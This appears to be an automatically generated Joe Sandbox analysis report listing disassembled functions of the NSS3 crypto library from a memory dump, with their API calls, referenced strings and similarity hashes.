Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: 67a572e50639d8ae40bb45131b7d1c629968893dda6005fc459d978e82793f44
Instruction ID: f9850768b6801541ed74082f82dec44a48fd1ba4d556cbc9d917eaee0d959f84
Opcode Fuzzy Hash: 67a572e50639d8ae40bb45131b7d1c629968893dda6005fc459d978e82793f44
Instruction Fuzzy Hash: F1112571B046D25BEF14AFA4AC19B5E3738AB9AA59F000124E50D87B00EF34E01487D3

Function 6CB266A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6CB2690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB26999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6CB269E3

Part of subcall function 6CB0F060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6CB267A0,?,?,?), ref: 6CB0F08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB26A1F
PK11_FreeSymKey.NSS3(?), ref: 6CB26A3F
PK11_FreeSymKey.NSS3(?), ref: 6CB26A58

Part of subcall function 6CB0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB0EE85

Part of subcall function 6CB0EE50: realloc.MOZGLUE(1DB66498,?), ref: 6CB0EEAE
Part of subcall function 6CB0EE50: PORT_Alloc_Util.NSS3(?), ref: 6CB0EEC5
Part of subcall function 6CB0EE50: htonl.WSOCK32(?), ref: 6CB0EEE3
Part of subcall function 6CB0EE50: htonl.WSOCK32(00000000,?), ref: 6CB0EEED
Part of subcall function 6CB0EE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CB0EF01

Strings

ech accept confirmation, xrefs: 6CB266BE
hrr ech accept confirmation, xrefs: 6CB266C3, 6CB26A9B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: 8812c54573679e76d81422e44c59446c1b5a4def53397b6510ac76de744ecb10
Instruction ID: c0cd5cf0609de499adee5231911115c9f8f4afe2ca281aa6fb4857951b699a64
Opcode Fuzzy Hash: 8812c54573679e76d81422e44c59446c1b5a4def53397b6510ac76de744ecb10
Instruction Fuzzy Hash: C6B1C2B2A043856BE701DA24AD01BBF77A8EF4474CF040928FD58D6681FB75EA198693

Function 6CA0CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA0B999), ref: 6CA0CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA0B999), ref: 6CA0D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CA0B999), ref: 6CA0D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA0B999), ref: 6CB5972B

Strings

%s at line %d of [%.10s], xrefs: 6CA0CFEC, 6CA0D018, 6CA0D029, 6CA0D03F, 6CB5978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA0CFDD, 6CA0D00E, 6CA0D022, 6CA0D033, 6CB59780
database corruption, xrefs: 6CA0CFE7, 6CA0D013, 6CA0D028, 6CA0D039, 6CA0D03E, 6CB59786

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 90e03039f681951999083db5bf8990d88443fa84acb38c9f8263be9056eafc04
Instruction ID: b16c52dfb7cc703b0aaa81b13609e2281c288cedd3f17c955d0e19ef7d285a89
Opcode Fuzzy Hash: 90e03039f681951999083db5bf8990d88443fa84acb38c9f8263be9056eafc04
Instruction Fuzzy Hash: 94615971A002508FD710CF29C840BA6B7F5EF55358F68416EE449AFB82D376D887C7A2

Function 6CB92680 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6CB9269F
calloc.MOZGLUE(00000014,00000008), ref: 6CB926E0
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB926F4
PR_Sleep.NSS3(?), ref: 6CB92710

Part of subcall function 6CB9C2A0: PR_IntervalNow.NSS3 ref: 6CB9C2BE
Part of subcall function 6CB9C2A0: PR_NewCondVar.NSS3 ref: 6CB9C2CC
Part of subcall function 6CB9C2A0: EnterCriticalSection.KERNEL32(?), ref: 6CB9C2E8
Part of subcall function 6CB9C2A0: PR_IntervalNow.NSS3 ref: 6CB9C2F7
Part of subcall function 6CB9C2A0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB9C378
Part of subcall function 6CB9C2A0: DeleteCriticalSection.KERNEL32(?), ref: 6CB9C390
Part of subcall function 6CB9C2A0: free.MOZGLUE(?), ref: 6CB9C397

Part of subcall function 6CB928A0: realloc.MOZGLUE(?,000000A8), ref: 6CB928EB
Part of subcall function 6CB928A0: memset.VCRUNTIME140(-FFFFFAC0,00000000,000000A0), ref: 6CB9290A

PR_SetError.NSS3(FFFFE891,00000000), ref: 6CB9287D
free.MOZGLUE(?), ref: 6CB9288B

Strings

PR_Select(), xrefs: 6CB9269A
PR_Poll(), xrefs: 6CB92695

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalErrorIntervalSectionfree$CondDeleteEnterSleepcallocmemsetreallocsqlite3_release_memory
String ID: PR_Poll()$PR_Select()
API String ID: 3069664790-3034026096
Opcode ID: 0fe663b98c87b9bf1897f710d82d0e0de93277d1b3c92589bea2eb44e9dfa265
Instruction ID: 9c83183465d50761a36fcd4664b1fa0c7dc74164bc13e27abb47c46c70fcd858
Opcode Fuzzy Hash: 0fe663b98c87b9bf1897f710d82d0e0de93277d1b3c92589bea2eb44e9dfa265
Instruction Fuzzy Hash: CF61E375E012568FDB00DF68C8887AAB7B1FF4A309F148139D918AB791E734E855CB93

Function 6CB0EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CB2A4A1,?,00000000,?,00000001), ref: 6CB0EF6D

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

htonl.WSOCK32(00000000,?,6CB2A4A1,?,00000000,?,00000001), ref: 6CB0EFE4
htonl.WSOCK32(?,00000000,?,6CB2A4A1,?,00000000,?,00000001), ref: 6CB0EFF1
memcpy.VCRUNTIME140(?,?,6CB2A4A1,?,00000000,?,6CB2A4A1,?,00000000,?,00000001), ref: 6CB0F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CB2A4A1,?,00000000,?,00000001), ref: 6CB0F027

Strings

dtls13, xrefs: 6CB0EF33

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: d96af54fbbe221c8cbb345b34f312df289ccb2c5a26555f2cbb560fb26e6603d
Instruction ID: 5ac50ba41d111a263cca67f055d48b2860e491c6d6ecb16bb711702274e826fb
Opcode Fuzzy Hash: d96af54fbbe221c8cbb345b34f312df289ccb2c5a26555f2cbb560fb26e6603d
Instruction Fuzzy Hash: 8531F371A002919FDB10DF28CC40B8EBBE8FF49348F158029E9589B751E731E915CBE6

Function 6CACCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CACCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CACCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CACD079

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 1aacaa3797f793b07200c4757dda59a83f9114affde17e4fbea456176ba2f6d7
Instruction ID: 8aa5bdfef3226c0c5a948e741212a25ae01ab1688b62a9dc4d9ee9a70e96d2ce
Opcode Fuzzy Hash: 1aacaa3797f793b07200c4757dda59a83f9114affde17e4fbea456176ba2f6d7
Instruction Fuzzy Hash: 75C17FB1E002199BDB10DF28CC80BDAB7B4BB49318F1441A8E949A7741E775EED9CF91

Function 6CAA06A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAA06C2
EnterCriticalSection.KERNEL32(?), ref: 6CAA06D6
PR_Unlock.NSS3 ref: 6CAA06EB

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

free.MOZGLUE(?), ref: 6CAA07DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA07FA

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: 9c0fbb4516077569efe69e856a22cb36d3c3f8ea45e4daf2cdc8cb8e7780ca6c
Instruction ID: db888a7589d097844c1ce41512de87d916d7b2ac63b86165f0868b8f1a40c818
Opcode Fuzzy Hash: 9c0fbb4516077569efe69e856a22cb36d3c3f8ea45e4daf2cdc8cb8e7780ca6c
Instruction Fuzzy Hash: B881F9B19103449FEB009FA4DD86AEB7BB4BF09348F044168ED199B722E731E589CBD1

Function 6CAF4620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6CAF4963

Part of subcall function 6CA93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAAAE42), ref: 6CA930AA
Part of subcall function 6CA93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA930C7
Part of subcall function 6CA93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CA930E5
Part of subcall function 6CA93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA93116
Part of subcall function 6CA93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA9312B
Part of subcall function 6CA93090: PK11_DestroyObject.NSS3(?,?), ref: 6CA93154
Part of subcall function 6CA93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9317E

SECOID_FindOID_Util.NSS3(?), ref: 6CAF465E

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6CAF4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6CAF4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6CAF473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6CAF4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBB2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6CAF482E
PR_GetCurrentThread.NSS3 ref: 6CAF48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAF4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAF4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6CAF494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6CAF21C2,?,?,?), ref: 6CAF499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAF49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6CAF49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CAF49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAF49E9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 771c25e1760e53123bb4256b22de7dff95750f62817e80becd8325806f95d06e
Instruction ID: 8e3e024727ca5208537a27a46f461ba344dd8a308c0801276d4b9152c4478308
Opcode Fuzzy Hash: 771c25e1760e53123bb4256b22de7dff95750f62817e80becd8325806f95d06e
Instruction Fuzzy Hash: 1671C275E012059BFB108AA5DE80BEE76A5AF4531CF184039F925ABB41E731D8C68B91

Function 6CA82C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1DB66498), ref: 6CA82C5D

Part of subcall function 6CAE0D30: calloc.MOZGLUE ref: 6CAE0D50
Part of subcall function 6CAE0D30: TlsGetValue.KERNEL32 ref: 6CAE0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CA82C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA82CE0

Part of subcall function 6CA82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA82CDA,?,00000000), ref: 6CA82E1E
Part of subcall function 6CA82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA82E33
Part of subcall function 6CA82E00: TlsGetValue.KERNEL32 ref: 6CA82E4E
Part of subcall function 6CA82E00: EnterCriticalSection.KERNEL32(?), ref: 6CA82E5E
Part of subcall function 6CA82E00: PL_HashTableLookup.NSS3(?), ref: 6CA82E71
Part of subcall function 6CA82E00: PL_HashTableRemove.NSS3(?), ref: 6CA82E84
Part of subcall function 6CA82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA82E96
Part of subcall function 6CA82E00: PR_Unlock.NSS3 ref: 6CA82EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA82D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CA82D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CA82D3F
free.MOZGLUE(00000000), ref: 6CA82D73
CERT_DestroyCertificate.NSS3(?), ref: 6CA82DB8
free.MOZGLUE ref: 6CA82DC8

Part of subcall function 6CA83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA83EC2
Part of subcall function 6CA83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA83ED6
Part of subcall function 6CA83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA83EEE
Part of subcall function 6CA83E60: PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CA83F02
Part of subcall function 6CA83E60: PL_FreeArenaPool.NSS3 ref: 6CA83F14
Part of subcall function 6CA83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA83F27

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 3409ef3ccf80b8af57b50798fd2bfcd4dc2e52cff67cfa329d442cc66a8d131e
Instruction ID: 0032243a549ea0a79f276be01f5cad810f9cd48a03c4d5a0611f7afca8b4b93b
Opcode Fuzzy Hash: 3409ef3ccf80b8af57b50798fd2bfcd4dc2e52cff67cfa329d442cc66a8d131e
Instruction Fuzzy Hash: E651D171A062119FEB019E25DD89B6B7BE5EF84348F18062CEC5983750E731E899CB92

Function 6CA96730 Relevance: 13.6, APIs: 9, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 6CA95DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA95DEC
Part of subcall function 6CA95DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CA95E0F

_SGN_VerifyPKCS1DigestInfo.NSS3(00000000,?,?,00000000,?,?,?,?,?,?,?,?,6CA96729), ref: 6CA967A0

Part of subcall function 6CADA470: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CADA4A6
Part of subcall function 6CADA470: PORT_Alloc_Util.NSS3(?), ref: 6CADA4EC
Part of subcall function 6CADA470: memcpy.VCRUNTIME140(-00000006,?,?), ref: 6CADA527
Part of subcall function 6CADA470: memcmp.VCRUNTIME140(00000006,?,?), ref: 6CADA56D
Part of subcall function 6CADA470: memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6CADA583
Part of subcall function 6CADA470: PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CADA596
Part of subcall function 6CADA470: free.MOZGLUE(?), ref: 6CADA5A4

SECKEY_SignatureLen.NSS3(?,?,?,?,?,?,?,?,?,6CA96729), ref: 6CA967C0
PR_SetError.NSS3(FFFFE030,00000000,?,?,?,?,?,?,?,?,?,6CA96729), ref: 6CA96800
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA96842
free.MOZGLUE(?), ref: 6CA96855
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA9686B
free.MOZGLUE(00000000), ref: 6CA96874
PK11_VerifyWithMechanism.NSS3(?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA96729), ref: 6CA968C1
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CA968D6

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$Utilfree$Verifymemcmp$AlgorithmAlloc_DestroyDigestFindInfoItem_K11_MechanismPolicyPublicSignatureTag_WithZfreememcpy
String ID:
API String ID: 1437015310-0
Opcode ID: 2c258b30e2d6c97ebc6396aec735391dc55721d30e75b60530c19bc28eb0610d
Instruction ID: 0669b6ad1732fbbcd707398f3c4252f7f2dcce3d1c0e0f4871225edf03293560
Opcode Fuzzy Hash: 2c258b30e2d6c97ebc6396aec735391dc55721d30e75b60530c19bc28eb0610d
Instruction Fuzzy Hash: 0951E7B1A102045BEB50CF68DC9ABAB73F9FF85308F148528E85AD7740EB31E84587E1

Function 6CAFC790 Relevance: 13.6, APIs: 9, Instructions: 74COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAFC7AE
EnterCriticalSection.KERNEL32 ref: 6CAFC7C7
PK11_FreeSymKey.NSS3 ref: 6CAFC7E5
PK11_FreeSymKey.NSS3 ref: 6CAFC801
PK11_FreeSymKey.NSS3 ref: 6CAFC81D
PK11_FreeSymKey.NSS3 ref: 6CAFC839
PK11_FreeSymKey.NSS3 ref: 6CAFC855
PK11_FreeSymKey.NSS3 ref: 6CAFC871
PR_Unlock.NSS3 ref: 6CAFC891

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FreeK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 2586530110-0
Opcode ID: 16e4b439d9f5cd419509c5adb506bd645bbf55e43ac8ade6b52be197e1299f55
Instruction ID: d201ed05f8820dfc5d0466a1e1aa4d8821659b63a80663a537ff8e128d52bc70
